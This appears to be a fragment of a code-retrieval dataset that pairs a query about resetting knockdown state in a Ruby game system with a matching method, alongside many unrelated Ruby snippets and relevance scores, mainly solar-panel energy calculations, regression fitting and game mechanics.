@ph_product.ph_electric_component.lifetime_2) - 1\r\n if @ph_maintenance_result.needed_cycles_2 < 0\r\n @ph_maintenance_result.needed_cycles_2 = 0\r\n else \r\n @ph_maintenance_result.needed_cycles_2 = @ph_maintenance_result.needed_cycles_2.ceil\r\n end \r\n end\r\n end\r\n @ph_maintenance_result.needed_replacements_2 = @ph_maintenance_result.needed_cycles_2 * @ph_product.ph_electric_component.quantity_2\r\n \r\n @ph_maintenance_result.embodied_co2_2 = 0\r\n # B29\r\n temp = get_database_material_result_co2 'Electrics', '1x Inverter Type 2', @ph_product\r\n @ph_maintenance_result.embodied_co2_2 = temp * @ph_maintenance_result.needed_replacements_2\r\n \r\n @ph_maintenance_result.embodied_pe_2 = 0\r\n # C29\r\n temp = get_database_material_result_pe 'Electrics', '1x Inverter Type 2', @ph_product\r\n @ph_maintenance_result.embodied_pe_2 = temp * @ph_maintenance_result.needed_replacements_2\r\n \r\n \r\n \r\n @ph_maintenance_result.driven_maintenance = 2 * @ph_product.ph_maintenance.distance\r\n @ph_maintenance_result.driven_year = @ph_maintenance_result.driven_maintenance * @ph_product.ph_maintenance.yearly_frequency\r\n @ph_maintenance_result.driven_contract = @ph_maintenance_result.driven_year * @ph_maintenance_result.years_included\r\n \r\n @ph_maintenance_result.embodied_co2_transport = 0 \r\n #B35\r\n temp = get_database_material_result_co2 'Maintenance', 'Average Car Driving', @ph_product\r\n @ph_maintenance_result.embodied_co2_transport = @ph_maintenance_result.driven_contract * temp\r\n \r\n @ph_maintenance_result.embodied_pe_transport = 0\r\n #C35\r\n temp = get_database_material_result_pe 'Maintenance', 'Average Car Driving', @ph_product\r\n @ph_maintenance_result.embodied_pe_transport = @ph_maintenance_result.driven_contract * temp\r\n \r\n @ph_maintenance_result.embodied_co2_cleaning = @ph_product.ph_intermediate_result.module_area * @ph_maintenance_result.tap_water_co2\r\n @ph_maintenance_result.embodied_pe_cleaning = @ph_product.ph_intermediate_result.module_area * @ph_maintenance_result.tap_water_pe\r\n @ph_maintenance_result.total_embodied_co2_cleaning = @ph_maintenance_result.embodied_co2_cleaning * @ph_maintenance_result.years_included * @ph_product.ph_maintenance.yearly_frequency\r\n @ph_maintenance_result.total_embodied_pe_cleaning = @ph_maintenance_result.embodied_pe_cleaning * @ph_maintenance_result.years_included * @ph_product.ph_maintenance.yearly_frequency\r\n \r\n @ph_maintenance_result.needed_cycles_batteries = 0\r\n if @ph_maintenance_result.batteries_replacement == 1\r\n @ph_maintenance_result.needed_cycles_batteries = (@ph_maintenance_result.years_included / @ph_product.ph_electric_component.battery_lifetime) - 1\r\n if @ph_maintenance_result.needed_cycles_batteries < 0\r\n @ph_maintenance_result.needed_cycles_batteries = 0\r\n else \r\n @ph_maintenance_result.needed_cycles_batteries = @ph_maintenance_result.needed_cycles_batteries.ceil\r\n end \r\n end\r\n \r\n @ph_maintenance_result.needed_replacements_batteries = @ph_maintenance_result.needed_cycles_batteries * @ph_product.ph_electric_component.separated_battery\r\n \r\n @ph_maintenance_result.embodied_co2_batteries = 0\r\n #B31\r\n temp = get_database_material_result_co2 'Electrics Battery', 'Lead Acid [kg / pc.]', @ph_product\r\n #B32 \r\n temp_2 = get_database_material_result_co2 'Electrics Battery', 'Lead Acid [per kg]', @ph_product\r\n @ph_maintenance_result.embodied_co2_batteries = @ph_maintenance_result.needed_replacements_batteries * temp * temp_2\r\n \r\n @ph_maintenance_result.embodied_pe_batteries = 0 \r\n #B31\r\n temp = get_database_material_result_co2 'Electrics Battery', 'Lead Acid [kg / pc.]', @ph_product\r\n #C32 \r\n temp_2 = get_database_material_result_pe 'Electrics Battery', 'Lead Acid [per kg]', @ph_product\r\n @ph_maintenance_result.embodied_pe_batteries = @ph_maintenance_result.needed_replacements_batteries * temp * temp_2\r\n \r\n @ph_maintenance_result.embodied_carbon_dioxide = 0\r\n @ph_maintenance_result.embodied_primary_energy = 0\r\n if @ph_product.ph_maintenance.maintenance_needs != 'no'\r\n @ph_maintenance_result.embodied_carbon_dioxide = @ph_maintenance_result.embodied_co2_1 + @ph_maintenance_result.embodied_co2_2 + @ph_maintenance_result.embodied_co2_transport + @ph_maintenance_result.total_embodied_co2_cleaning + @ph_maintenance_result.embodied_co2_batteries\r\n @ph_maintenance_result.embodied_primary_energy = @ph_maintenance_result.embodied_pe_1 + @ph_maintenance_result.embodied_pe_2 + @ph_maintenance_result.embodied_pe_transport + @ph_maintenance_result.total_embodied_pe_cleaning + @ph_maintenance_result.embodied_pe_batteries \r\n end\r\n @ph_result.maintenance = @ph_maintenance_result.embodied_carbon_dioxide\r\n @ph_embedded_result.pe_maintenance = @ph_maintenance_result.embodied_primary_energy\r\n ##########\r\n ### EMBEDDED\r\n ##########\r\n\r\n @ph_embedded_result.lifetime_saved = @ph_result.lifetime * 3.6 / @ph_product.ph_basic_information.conversion_factor\r\n \r\n @ph_embedded_result.pe_pv_cabling = 0\r\n temp = 0\r\n if @ph_product.ph_basic_information.ph_mounting_type.name == 'On Roof - Mounted' || @ph_product.ph_basic_information.ph_mounting_type.name == 'On Roof - Integrated'\r\n #C22\r\n temp = get_database_material_result_pe 'Electrical Cabling', 'Roof Mounted System', @ph_product \r\n end \r\n if @ph_product.ph_basic_information.ph_mounting_type.name == 'Facade - Integrated' || @ph_product.ph_basic_information.ph_mounting_type.name == 'Facade - Mounted'\r\n #C21\r\n temp = get_database_material_result_pe 'Electrical Cabling', 'Facade Mounted System', @ph_product\r\n end \r\n if @ph_product.ph_basic_information.ph_mounting_type.name == 'Open Ground'\r\n #C23\r\n temp = get_database_material_result_pe 'Electrical Cabling', 'Ground Mounted System', @ph_product\r\n end \r\n @ph_embedded_result.pe_pv_cabling = temp * @ph_product.ph_intermediate_result.module_area\r\n \r\n \r\n @ph_embedded_result.pe_pv_module = 0\r\n if @ph_product.ph_specified.ph_module_type.name == 'amorphous Silicon'\r\n # B17\r\n temp = get_database_material_result_pe 'a-Si', 'Module Laminate', @ph_product\r\n end\r\n if @ph_product.ph_specified.ph_module_type.name == 'polycrystalline Silicon'\r\n # B15\r\n temp = get_database_material_result_pe 'p-Si', 'Total Module Laminate', @ph_product \r\n end\r\n if @ph_product.ph_specified.ph_module_type.name == 'monocrystalline Silicon'\r\n # B8\r\n temp = get_database_material_result_pe 'm-Si', 'Total Module Laminate', @ph_product \r\n end\r\n if @ph_product.ph_specified.ph_module_type.name == 'CdTe Thinfilm'\r\n # B2\r\n temp = get_database_material_result_pe 'CdTe', 'Thinfilm', @ph_product \r\n end\r\n if @ph_product.ph_specified.ph_module_type.name == 'CIS/CIGS Thinfilm'\r\n # B19\r\n temp = get_database_material_result_pe 'CIS/CIGS', 'Module Laminate', @ph_product \r\n end\r\n @ph_embedded_result.pe_pv_module = temp * @ph_product.ph_intermediate_result.module_area \r\n \r\n @ph_embedded_result.pe_pv_framing = 0\r\n if @ph_product.ph_basic_information.framed == 'yes'\r\n if @ph_product.ph_specified.ph_module_type.name == 'amorphous Silicon'\r\n # B18 - B17\r\n temp = (get_database_material_result_pe 'a-Si', 'Module Framed Panel', @ph_product) - (get_database_material_result_pe 'a-Si', 'Module Laminate', @ph_product)\r\n end\r\n if @ph_product.ph_specified.ph_module_type.name == 'polycrystalline Silicon'\r\n # B14\r\n temp = get_database_material_result_pe 'p-Si', 'Module/Framed Panel', @ph_product \r\n end\r\n if @ph_product.ph_specified.ph_module_type.name == 'monocrystalline Silicon'\r\n # B7\r\n temp = get_database_material_result_pe 'm-Si', 'Module/Framed Panel', @ph_product \r\n end\r\n if @ph_product.ph_specified.ph_module_type.name == 'CIS/CIGS Thinfilm'\r\n # B20 - B19\r\n temp = (get_database_material_result_pe 'CIS/CIGS', 'Module Framed Panel', @ph_product) - (get_database_material_result_pe 'CIS/CIGS', 'Module Laminate', @ph_product) \r\n end \r\n if @ph_product.ph_specified.ph_module_type.name == 'CdTe Thinfilm'\r\n # B2\r\n temp = 0 \r\n end \r\n @ph_embedded_result.pe_pv_framing = temp * @ph_product.ph_intermediate_result.module_area\r\n end\r\n \r\n @ph_embedded_result.pe_pv_mounting = 0\r\n if @ph_product.ph_basic_information.ph_mounting_type.name == 'On Roof - Mounted'\r\n #B24\r\n temp = get_database_material_result_pe 'Mounting', 'Roof Mounted Structures', @ph_product\r\n end\r\n if @ph_product.ph_basic_information.ph_mounting_type.name == 'On Roof - Integrated'\r\n #B25\r\n temp = get_database_material_result_pe 'Mounting', 'Roof Integrated Structures', @ph_product\r\n end\r\n if @ph_product.ph_basic_information.ph_mounting_type.name == 'Facade - Mounted'\r\n #B27\r\n temp = get_database_material_result_pe 'Mounting', 'Facade Mounted Structures', @ph_product \r\n end\r\n if @ph_product.ph_basic_information.ph_mounting_type.name == 'Facade - Integrated'\r\n #B28\r\n temp = get_database_material_result_pe 'Mounting', 'Facade Integrated Structures', @ph_product\r\n end\r\n if @ph_product.ph_basic_information.ph_mounting_type.name == 'Open Ground'\r\n #B26\r\n temp = get_database_material_result_pe 'Mounting', 'Open Ground Structures', @ph_product\r\n end \r\n @ph_embedded_result.pe_pv_mounting = temp * @ph_product.ph_intermediate_result.module_area\r\n \r\n @ph_embedded_result.pe_inverter = 0\r\n if @ph_product.ph_electric_component.quantity_1 != 0\r\n temp = get_database_material_result_pe 'Electrics', '1x Inverter Type 1', @ph_product\r\n @ph_embedded_result.pe_inverter += temp * @ph_product.ph_electric_component.quantity_1\r\n end\r\n if @ph_product.ph_electric_component.quantity_2 != 0\r\n temp = get_database_material_result_pe 'Electrics', '1x Inverter Type 2', @ph_product\r\n @ph_embedded_result.pe_inverter += temp * @ph_product.ph_electric_component.quantity_2\r\n end\r\n \r\n \r\n @ph_embedded_result.pe_batteries = 0\r\n pes_1 = get_database_material_result_co2 'Electrics Battery', 'Lead Acid [kg / pc.]', @ph_product\r\n pes_2 = get_database_material_result_pe 'Electrics Battery', 'Lead Acid [per kg]', @ph_product\r\n @ph_embedded_result.pe_batteries = @ph_product.ph_electric_component.separated_battery * pes_1 * pes_2\r\n \r\n \r\n \r\n @ph_embedded_result.embedded_energy_total = @ph_embedded_result.pe_pv_cabling + @ph_embedded_result.pe_pv_module + @ph_embedded_result.pe_pv_framing + @ph_embedded_result.pe_pv_mounting + @ph_embedded_result.pe_inverter + @ph_embedded_result.pe_batteries + @ph_embedded_result.pe_maintenance \r\n \r\n \r\n @ph_embedded_result.peak_power = @ph_product.ph_intermediate_result.module_area * calcul_efficiency / 100\r\n @ph_embedded_result.lifetime_production = @ph_result.lifetime\r\n @ph_embedded_result.averaged_power = @ph_embedded_result.lifetime_production / @ph_product.ph_specified.lifetime\r\n @ph_embedded_result.averaged_consumption = @ph_embedded_result.averaged_power * 3.6 / @ph_product.ph_basic_information.conversion_factor \r\n @ph_embedded_result.system_emb = @ph_embedded_result.embedded_energy_total\r\n @ph_embedded_result.energy_payback = @ph_embedded_result.embedded_energy_total / @ph_embedded_result.averaged_consumption\r\n @ph_embedded_result.energy_yield = @ph_embedded_result.lifetime_saved / @ph_embedded_result.embedded_energy_total\r\n @ph_embedded_result.emb_co2 = @ph_result.cabling + @ph_result.inverter + @ph_result.batteries \r\n# @ph_embedded_result.estim_co2 = 1000 * @ph_result.co2_total / @ph_embedded_result.lifetime_production\r\n \r\n\r\n\r\n \r\n \r\n \r\n @ph_result.co2_total += @ph_result.maintenance\r\n @ph_embedded_result.estim_co2 = 1000 * @ph_result.co2_total / @ph_result.lifetime\r\n @ph_embedded_result.net_saved_co2 = @ph_embedded_result.lifetime_production * (@ph_product.ph_basic_information.co2_factor - @ph_embedded_result.estim_co2) / 1000 \r\n \r\n @ph_product.ph_result.save\r\n @ph_product.ph_embedded_result.save\r\n @ph_product.ph_maintenance_result.save\r\n end \r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.xml\r\n end\r\n end",
"def cost(op)\n { materials: 0.84, labor: 1.24 }\nend",
"def fit\n @coefficients = [0.0/0.0, 1.0]\n end",
"def calc_weight(mod, acc)\n fuel = calc_fuel(mod)\n fuel <= 0 ? acc : calc_weight(fuel, acc + fuel)\nend",
"def modeler_description\n return 'This measure loops through the thermal zones in all air loops. It then selects the thermal zone area and then calculates the minimum flow rate of 0.4 cfm/sf. If the zone has an AirTerminalSingleDuct VAVReheat & AirTerminalSingleDuctVAVNoReheat terminal unit the measure changes the zone minimum air flow method to fixed flow rate and applies the calculated minimum flow rate.'\n end",
"def perform_regression(x, y, reg_type)\n\tif (reg_type == LOGARITHMIC)\n\t\tbegin\n\t\t\t# Transform x to log(x)\n\t\t\tx = x.map { |x| Math.log(x) }\n\t\trescue Math::DomainError\n\t\t\t# Raise the exception again here so we can catch it in either the main calling method\n\t\t\t# or from the best_fit calculation as both need to be handled differently and then we\n\t\t\t# can provide the correct error message.\n\t\t\traise Math::DomainError, \"Cannot perform logarithmic regression on this data\"\n\t\tend\n\telsif (reg_type == EXPONENTIAL)\n\t\tbegin\n\t\t\t# Transform y to log(x)\n\t\t\t# Gives form of ln(y) = ln(a) + Bx\n\t\t\ty = y.map { |y| Math.log(y) }\n\t\trescue Math::DomainError\n\t\t\t# Raise the exception again here so we can catch it in either the main calling method\n\t\t\t# or from the best_fit calculation as both need to be handled differently and then we\n\t\t\t# can provide the correct error message.\n\t\t\traise Math::DomainError, \"Cannot perform exponential regression on this data\"\n\t\tend\n\telsif (reg_type == POLYNOMIAL)\n\t\treturn polynomial_regression(x, y)\n\telsif (reg_type == BEST_FIT)\n\t\tbest_coefficients ||= nil\n\t\tbest_constant ||= nil\n\t\tbest_r2 ||= -Float::INFINITY\n\t\tbest_reg_type ||= \"\"\n\n\t\t# Calculate the coefficients for each regression type and compared the r^2 values in order\n\t\t# to determine which regression type results in the best fit.\n\t\t[LINEAR, EXPONENTIAL, LOGARITHMIC, POLYNOMIAL].each do |reg_type|\n\t\t\tbegin\n\t\t\t\tresults = perform_regression(x, y, reg_type)\n\t\t\trescue Math::DomainError\n\t\t\t\t# If logarithmic or exponential regression cannot be performed\n\t\t\t\t# We do not want to terminate the program or print an error message\n\t\t\t\t# So we rescue the exception and do nothing\n\t\t\tend\t\n\n\t\t\t# If we were able to obtain a result\n\t\t\t# i.e. if there was a exponential or logarithmic regression that couldn't be fitted.\n\t\t\tif (!results.kind_of? NilClass)\n\t\t\t\tif (results[\"r2\"] > best_r2)\n\t\t\t\t\tbest_r2 = results[\"r2\"]\n\t\t\t\t\tbest_coefficients = results[\"coefficients\"]\n\t\t\t\t\tbest_constant = results[\"constant\"]\n\t\t\t\t\tbest_reg_type = reg_type\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\n\t\tresults = {\"coefficients\" => best_coefficients, \"constant\" => best_constant,\n\t\t\t\t\"r2\" => best_r2, \"reg_type\" => best_reg_type}\n\n\t\treturn results\n\tend\n\n\tif (reg_type != POLYNOMIAL)\n\t\tx = x.to_scale\n\t\ty = y.to_scale\n\n\t\tds = {\"x\"=>x, \"y\"=>y}.to_dataset\n\n\t\tlr = Statsample::Regression.multiple(ds,\"y\")\n\t\tcoefficients ||= lr.coeffs\n\t\tconstant ||= lr.constant\n\t\tr2 ||= lr.r2\n\t\t# Do not round values here as they still may need to be modified.\n\tend\n\n\tresults = {\"coefficients\" => coefficients, \"constant\" => constant, \"r2\" => r2}\n\treturn results\nend",
"def perceptron\n @feature_count = data.first.first.length\n iterations = 0\n weights = @feature_count.times.map { |x| 0.0001 }\n\n while iterations != @iterations\n data.each do |entry|\n feature_vector = entry.first\n activation = activation_output(weights, feature_vector)\n error = entry.last - activation\n error = (error == 0) ? 0.0001 : error\n @bias += @m*error\n weights = vector_add(weights, scalarXvector(error*@m, feature_vector))\n end\n iterations += 1\n end\n weights\nend",
"def applyhash\n result = {}\n result[:sample] = :apply_samples\n result[:split] = :apply_splits\n return result\n end",
"def how_high\n energy * energy\nend",
"def wtermsig \n DRMAA.wtermsig(@stat) \n end",
"def calculate_fcost(p)\n\t\t@hcosts[p] + @gcosts[p]\n\tend",
"def calculate\n @equations = self.class.permutate(@inputs, @operators)\n @results = {}\n @equations.each do |eq|\n @results[eq] = eval(eq)\n end\n end",
"def _reduce_784(val, _values, result)\n yyerrok\n result\nend",
"def around_perform_measure_ttp(*)\n ttp = Benchmark.realtime { yield }\n @registry.hset key, 'ttp', ttp\n @registry.hincrbyfloat key, 'total_ttp', ttp\n end",
"def process(array)\n # \"Analysis for ...\"\n begin\n words = array.shift.split(\" \")\n rescue NoMethodError\n raise \"Invalid input for Regress\"\n end\n @num_cases = words[2].to_i\n @num_variables = words[5].to_i\n # headers\n array.shift\n # Basic stats\n @min = array.shift.split(\" \")[1].to_f\n @max = array.shift.split(\" \")[1].to_f\n @sum = array.shift.split(\" \")[1].to_f\n @mean= array.shift.split(\" \")[1].to_f\n @stddev = array.shift.split(\" \")[1].to_f\n # Ignore correlation matrix (for now)\n 6.times { array.shift }\n # Regression equation\n array.shift #header\n eq = array.shift.split(\" \")\n @slope = eq[2].to_f\n @intercept = eq[5].to_f\n array.shift # blank line\n # \"Significance test...\"\n array.shift #header\n array.shift #colheader\n vars = array.shift.split(\" \")\n @r = vars[0].to_f\n @r_squared = vars[1].to_f\n @se_est = vars[2].to_f\n @f = vars[3].to_f\n @prob = vars[4].to_f\n end",
"def modeler_description\n return \"The measure loops through the heating and cooling thermostat schedules associated each thermal zone. The existing heating and cooling schedules are cloned, and the all run period profiles are then modified by adding a +1.5 deg F shift to the all values of the cooling thermostat schedule and a -1.5 degree F shift to all values of the heating thermostat schedule. Design Day profiles are not modified. The modified thermostat schedules are then assigned to the thermal zone. For each Thermal Zone, ASHRAE 55 Thermal Comfort Warnings is also enabled. Zone Thermal Comfort ASHRAE 55 Adaptive Model 90% Acceptability Status output variables is also added to the model.\"\n end",
"def activation(dendrites, nueron_number)\n\tweights=Array.new\n\ttotal_value=0\n\tfor i in 0...dendrites.size\n\t\tvalue=dendrites[i].print_value \n\t\tweights=dendrites[i].print_weight\n\t\ttotal_value=total_value + (weights[nueron_number-1]*value)\n\tend\n\treturn total_value\nend",
"def gain_temp_hp(_amount)\n\t\t@temp_hp = _amount\n\tend",
"def optimize\n operand\n end",
"def temperature_metrics\n super\n end",
"def process_iasgn exp\n exp = exp.dup\n exp.rhs = process exp.rhs\n exp\n end",
"def cost_global_pheromone_at_time(value_of_objective)\n\t# where q = [time=10, cost= 10_000, quality=0.0005]\n\t((1 - GLOBAL_EVAPORATION_RATE) * pheromone_at_t_minus_1) + cost_changed_pheromone(value_of_objective)\nend",
"def calculate\n formula_map = FormulaMap.new(@data)\n\n formula_map.parameters.each do |ts, parameter|\n @results[ts] = @calculator.evaluate(@formula, parameter)\n end\n end",
"def depreciated_msrp_used_car (deprec_mspr: depreciated_msrp(msrp:, year:),damages:, mileage:)\n depreciation_rate = 0.05\n mileage_depreciation = (mileage/10000) * 0.01\n current_year = 2014\n depreciated_msrp(msrp:, year:)\n msrp * (1 - (depreciation_rate * (current_year-year)))\nend",
"def value(dendrites_array,num)\n\t\t\tx=activation(dendrites_array,num)\n\t\t\t@value=sigmoidal(x)\n\t\tend",
"def value(dendrites_array,num)\n\t\t\tx=activation(dendrites_array,num)\n\t\t\t@value=sigmoidal(x)\n\t\tend",
"def normalize!\n constant = @terms.select{ |t| t.is_a? Numeric }.inject(:+)\n hterms = @terms.select{ |t| t.is_a? Ilp::Term }.group_by(&:var)\n @terms = []\n constant ||= 0\n @terms << constant\n hterms.each do |v, ts| \n t = ts.inject(Ilp::Term.new(v, 0)) { |v1, v2| v1.mult += v2.mult; v1 }\n terms << t if t.mult != 0\n end\n self\n end",
"def analyze tud_map1, tud_map2\n r2 = r_squared tud_map1, tud_map2\n r = pearsons_r r2\n t = t_test r, tud_map1.count\n if t > 1.97\n significant = true\n else\n significant = false\n end \n { r_squared: r2, t: t, significant: significant }\nend",
"def calculate\n @calculated = true\n \n @weapon = Weapon.find(weapon_id)\n @armour = Armour.find(armour_id)\n \n # hp\n @base_hp = 20 + (level * 5) + (((base_end - 10) * level) / 2.5).round\n @dmg_taken = 0\n \n @intimidate = 0\n @discipline = 0\n @judgement = 0\n\n @can_train = true\n \n # load modifiers\n load_mods\n apply_mods\n \n # calculated values used in attack / dodge rolls\n @str_mod = (@str - 10) / 2\n @agi_mod = (@agi / 2).floor\n @int_mod = ((@int - 10) / 2).floor\n @x_mod = (@x / 2).floor\n\n \n @crit_range = 5 + @agi_mod + (@int_mod / 2)\n @str_dmg = (@str_mod + ((@str_mod * level) * 0.05)).ceil\n\n @dodge_percent = @agi_mod + @x_mod + (@int_mod / 2)\n @armour.is_light ? @dodge_percent += 5 : @dodge_percent -= 3\n @deflect_percent = (@str_mod / 2).floor + (@int_mod / 2)\n \n if @armour.is_heavy\n @deflect_percent += 7 # add 7% bonus for heavy armour\n else\n @dodge_percent += 5 # add 5% bonus for light armour\n @judgement += 1\n end\n \n # skill mods\n @intimidate += @str_mod + @int_mod\n @discipline += @str_mod + @int_mod\n @judgement += @int_mod\n \n @generated = 0\n @state = 1\n @intimidated = false\n @prepared = false\n end",
"def hp_rate\r\n @hp.to_f / mhp\r\n end",
"def how_high(energy)\n energy * energy\nend",
"def trend\n @x_values.map { |x| predict(x) }\n end",
"def use_reg type , value = nil\n if @regs.empty?\n reg = Register.tmp_reg(type , value)\n else\n reg = @regs.last.next_reg_use(type , value)\n end\n @regs << reg\n return reg\n end",
"def evaluate(type)\n\t\tinfo = Hash.new\n\n\t\tbegin\n\t\t\tcase type\n\t\t\twhen 'linear'\n\t\t\t\tinfo[:coeffs] = get_linear_coeffs\n\n\t\t\twhen 'polynomial'\n\t\t\t\tinfo[:coeffs] = get_polynomial_coeffs(best_degree)\n\n\t\t\twhen 'exponential'\n\t\t\t\tinfo[:coeffs] = get_exp_coeffs\n\n\t\t\twhen 'logarithmic'\n\t\t\t\tinfo[:coeffs] = get_log_coeffs\n\n\t\t\twhen 'best_fit' # chooses the regression with the smallest error\n\t\t\t\terrors = Hash.new\n\n\t\t\t\t['linear', 'polynomial', 'logarithmic', 'exponential'].each do |kind|\n\t\t\t\t\terrors[kind] = standard_error(kind)\n\t\t\t\tend\n\n\t\t\t\treturn evaluate(errors.key(errors.values.min))\n\t\t\tend\n\n\t\t\tinfo[:type] = type\n\t\t\tinfo[:degree] = best_degree\n\t\t\tinfo[:probability] = get_R2(type).round(4)\n\t\t\tinfo[:samples_size] = @n\n\t\t\treturn info\n\n\t\trescue Math::DomainError\n\t\t\tputs \"Cannot perform #{type} regression on this data\"\n\t\tend\n\tend",
"def erlang_c_srv(m, u, tc, tt)\n 1 - erlang_c(m.to_f, u.to_f) * Math::exp(-(m.to_f - u.to_f) * (tt.to_f / tc.to_f))\n end",
"def prediction_optimized(vars,cases)\n ((4+0.018128*cases+0.246871*vars+0.001169*vars*cases)**2) / 100\n end",
"def calc_spirit_defense\n features_sum(:spirit_defense)\n end",
"def optimize\n operand\n end",
"def train\n @weights.each_index do |i| \n # alter weight and apply momentum\n @weights[i] = @weights[i] + (@rate * inputs[i] * @gradient)\n @weights[i] = @weights[i] + @momentum * @lastchange\n \n @lastchange = @rate * inputs[i] * @gradient\n end\n @weights\n end",
"def apply\n\t\t\n\tend",
"def apply\n\t\t\n\tend",
"def sub(d, s, t)\n reg_w(d, reg_r(s) - reg_r(t))\n adv_pc\n end",
"def register_metrics!\n return if @registered\n @registered = true\n with_instance do |t|\n # Worker related\n t.add_gauge :dynflow_active_workers, 'The number of currently busy workers',\n [:queue, :world]\n t.add_counter :dynflow_worker_events, 'The number of processed events',\n [:queue, :world, :worker]\n\n # Execution plan related\n t.add_gauge :dynflow_active_execution_plans, 'The number of active execution plans',\n [:action, :world, :state]\n t.add_gauge :dynflow_queue_size, 'Number of items in queue',\n [:queue, :world]\n t.add_counter :dynflow_finished_execution_plans, 'The number of execution plans',\n [:action, :world, :result]\n\n # Step related\n # TODO: Configure buckets in a sane manner\n t.add_histogram :dynflow_step_real_time, 'The time between the start end end of the step',\n [:action, :phase]\n t.add_histogram :dynflow_step_execution_time, 'The time spent executing a step',\n [:action, :phase]\n\n # Connector related\n t.add_counter :dynflow_connector_envelopes, 'The number of envelopes handled by a connector',\n [:world, :direction]\n\n # Persistence related\n t.add_histogram :dynflow_persistence, 'The time spent communicating with the database',\n [:world, :method]\n end\n end",
"def mhp; param(0); end",
"def train(inputs, outputs)\n eval(inputs)\n backpropagate(outputs)\n calculate_error(outputs)\n end"
] |
[
"0.56285113",
"0.5601044",
"0.5025252",
"0.50018895",
"0.49947754",
"0.4821832",
"0.46376982",
"0.46023622",
"0.45960048",
"0.45843697",
"0.45605835",
"0.45557746",
"0.4529371",
"0.4515465",
"0.44964015",
"0.44812858",
"0.4472999",
"0.4460732",
"0.44563693",
"0.4443876",
"0.44419914",
"0.44419914",
"0.4436461",
"0.44306147",
"0.43963975",
"0.43930024",
"0.43918827",
"0.43909848",
"0.43892428",
"0.4372852",
"0.43689746",
"0.4361289",
"0.43592414",
"0.43572384",
"0.43547115",
"0.4337613",
"0.43295476",
"0.43243724",
"0.4316204",
"0.43128225",
"0.43124595",
"0.43093428",
"0.42961675",
"0.42959428",
"0.429281",
"0.42911828",
"0.4282881",
"0.42762065",
"0.4269809",
"0.42697465",
"0.42673263",
"0.4264312",
"0.42593196",
"0.4258792",
"0.4258792",
"0.4258792",
"0.4256126",
"0.42408463",
"0.4240791",
"0.4227772",
"0.42260158",
"0.42218268",
"0.42195624",
"0.42193088",
"0.42181134",
"0.4216304",
"0.42089096",
"0.42085582",
"0.42056617",
"0.42049724",
"0.420108",
"0.4194375",
"0.41926363",
"0.4187708",
"0.41876653",
"0.4187189",
"0.41795203",
"0.41768092",
"0.41748777",
"0.4173688",
"0.4173688",
"0.4167206",
"0.41660875",
"0.41586894",
"0.4156824",
"0.41484407",
"0.41455385",
"0.414513",
"0.41415754",
"0.41383305",
"0.41382322",
"0.413676",
"0.41342795",
"0.41233158",
"0.41205508",
"0.41205508",
"0.41202128",
"0.41165498",
"0.41151956",
"0.41132435"
] |
0.41284293
|
93
|
============================================================================= Reset Pearl ABS System reset from game player call
|
def reset_knockdown_actors
# reset knock down
if @knockdown_data[1] != nil
@knockdown_data[0] = 0
knowdown_effect(2)
end
# force clear knock down
$game_player.followers.each do |follower|
if follower.knockdown_data[1] != nil
follower.knockdown_data[0] = 0
follower.knowdown_effect(2)
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def reset\n\t\tdo_send('ARST 2')\n\tend",
"def reset_game\n @cur_board.clear_board\n @cur_board.setup_board\n @turn = 1\n @player_to_move = \"w\"\n end",
"def reset\n info \"\\n\\n------------ RESET ------------\\n\"\n # ExecApp.killAll ## NOTE: do we want to kill of the started RC on reset ???\n resetState\n RMCommunicator.instance.reset\n end",
"def reset_game\n\t\t#Reset the board\n\t\treset_board\n\t\t\n\t\t# Reset the Points\n\t\t@points_player1 = 0\n\t\t@points_player2 = 0\n\t\t\n\t\t@hud_player1.set_text(\"Player X: \"+@points_player1.to_s)\n\t\t@hud_player2.set_text(\"Player O: \"+@points_player2.to_s)\n\t\t\n\t\t# Setting the X Player to start\n\t\t@playerx = true\n\t\t@current_player.set_text \"Player: X\"\n\tend",
"def reset\n @round = 0\n @turn = 0 \n assign_player_colors\n seat_players\n seed_player_funds\n reset_state_bins\n add_home_state_picks\n pick_who_goes_first\n start_at_first_day\n end",
"def reset(s)\n poweroff(s)\n sleep 0.1\n s.puts \"PA0,0;\"\n sleep 0.1\nend",
"def reset\n self.turn = 1\n self.state = ONGOING\n self.board # Triggers default value if necessary.\n self.players\n self.currentPlayer = self.players.first\n board_each do |r,c|\n self.board[r][c] = nil\n changed(true)\n notify_observers U_BOARD, r, c, self.board[r][c]\n end\n binding.pry\n postcondition do\n raise \"Turn should be set to one after reset.\" unless self.turn == 1\n end\n # Let the computer move if necessary.\n computer_actions\n end",
"def resets; end",
"def pbResetAllRoamers\n if $PokemonGlobal && $PokemonGlobal.roamPokemon\n for i in 0...$PokemonGlobal.roamPokemon.length\n if $PokemonGlobal.roamPokemon[i]==true && $PokemonGlobal.roamPokemonCaught[i]!=true\n $PokemonGlobal.roamPokemon[i]=nil\n end\n end\n end\nend",
"def reset_player args\n args.state.player.x = 0\n args.state.player.y = args.state.bridge_top\n args.state.player.dy = 0\n args.state.player.dx = 0\n args.state.enemy.hammers.clear # empties hammer collection\n args.state.enemy.hammer_queue.clear # empties hammer_queue\n args.state.game_over_at = args.state.tick_count # game_over_at set to current frame (or passage of time)\nend",
"def reset_player args\n args.state.player.x = 0\n args.state.player.y = args.state.bridge_top\n args.state.player.dy = 0\n args.state.player.dx = 0\n args.state.enemy.hammers.clear # empties hammer collection\n args.state.enemy.hammer_queue.clear # empties hammer_queue\n args.state.game_over_at = args.state.tick_count # game_over_at set to current frame (or passage of time)\nend",
"def reset\n send_to_vm('system_reset')\n end",
"def reset\n @players.each { |player| player.reset }\n @dealer.reset\n system \"clear\"\n end",
"def reset\n # Leave the RST pin high for a bit, then pulse the RST pin low for 4ms.\n RPi::GPIO.set_high @rst\n sleep 0.200\n RPi::GPIO.set_low @rst # resets the panel.\n sleep 0.004\n RPi::GPIO.set_high @rst\n end",
"def reset_game\n @current_room_id = 9\n find_room_by_id(9).isLocked = true\n find_item_by_id(8).show_item = false\n @inventory.delete(8)\n @talk_id = 18\n end",
"def reset\n @shoe = Shoe.new(7)\n player.hand.clear;\n player.bust = false\n dealer.hand.clear;\n dealer.bust = false\n play\n end",
"def reset\n write(SYSTEM_RESET)\n end",
"def reset(board)\r\n # board = $reset_board\r\n # board[5][0] = \" \" #don't put pacman back where he was\r\n # board[$posA][$posB] = \"c\".gold #keep pacman in current position\r\n # return board\r\nend",
